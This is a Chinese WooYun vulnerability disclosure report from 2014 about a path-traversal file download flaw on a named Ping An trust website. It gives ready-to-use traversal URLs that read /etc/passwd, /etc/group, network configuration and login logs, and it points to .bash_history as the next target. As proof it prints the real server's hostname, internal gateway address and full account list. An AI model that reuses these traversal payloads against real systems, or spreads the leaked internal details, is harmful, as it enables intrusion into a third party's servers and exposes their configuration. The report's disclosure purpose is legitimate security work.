漏洞概要 关注数(24) 关注此漏洞
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漏洞详情
披露状态:
2014-11-14: 细节已通知厂商并且等待厂商处理中
2014-11-19: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
文件包含导致的服务器任意文件下载
详细说明:
很多人发现此漏洞后一般就下载passwd,其实还有很多可以下载:
http://trust.pingan.com/downLoad.shtml?fileurl=../../../../../../../../etc/sysconfig/network&filename=network
网络配置文件
http://trust.pingan.com/downLoad.shtml?fileurl=../../../../../../../../etc/group&filename=group
用户组文件
http://trust.pingan.com/downLoad.shtml?fileurl=../../../../../../../../etc/passwd&filename=passwd
用户配置文件
http://trust.pingan.com/downLoad.shtml?fileurl=../../../../../../../..//var/log/wtmp&filename=wtmp
登录日志
结合这些一般可以找到.bash_history 继续深入,这里就不继续演示了。
漏洞证明:
NETWORKING=yes
NETWORKING_IPV6=yes
HOSTNAME=cnsz031535
GATEWAY=172.28.8.200
--------------------------------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/dev/null
daemon:x:2:2:daemon:/sbin:/dev/null
adm:x:3:4:adm:/var/adm:/dev/null
lp:x:4:7:lp:/var/spool/lpd:/dev/null
sync:x:5:0:sync:/sbin:/dev/null
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/dev/null
mail:x:8:12:mail:/var/spool/mail:/dev/null
news:x:9:13:news:/etc/news:/dev/null
uucp:x:10:14:uucp:/var/spool/uucp:/dev/null
operator:x:11:0:operator:/root:/dev/null
ftp:x:14:50:FTP User:/var/ftp:/dev/null
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/dev/null
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/dev/nfvull
mailnull:x:47:47::/var/spool/mqueue:/dev/null
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/dev/null
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
ada:x:0:3::/ada:/bin/bash
paxf:x:0:3::/paxf:/bin/bash
pahand:x:699:601::/pahand:/bin/bash
chkusr:x:698:601::/chkusr:/bin/bash
hn:x:776:601::/home/hn:/bin/hostname
opc_op:x:777:177:OVO default operator:/home/opc_op:/bin/sh
修复方案:
过滤敏感字符
版权声明:转载请注明来源 氓氓童鞋@乌云
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漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2014-11-19 00:02
厂商回复:
最新状态:
2015-03-30:该漏洞已修复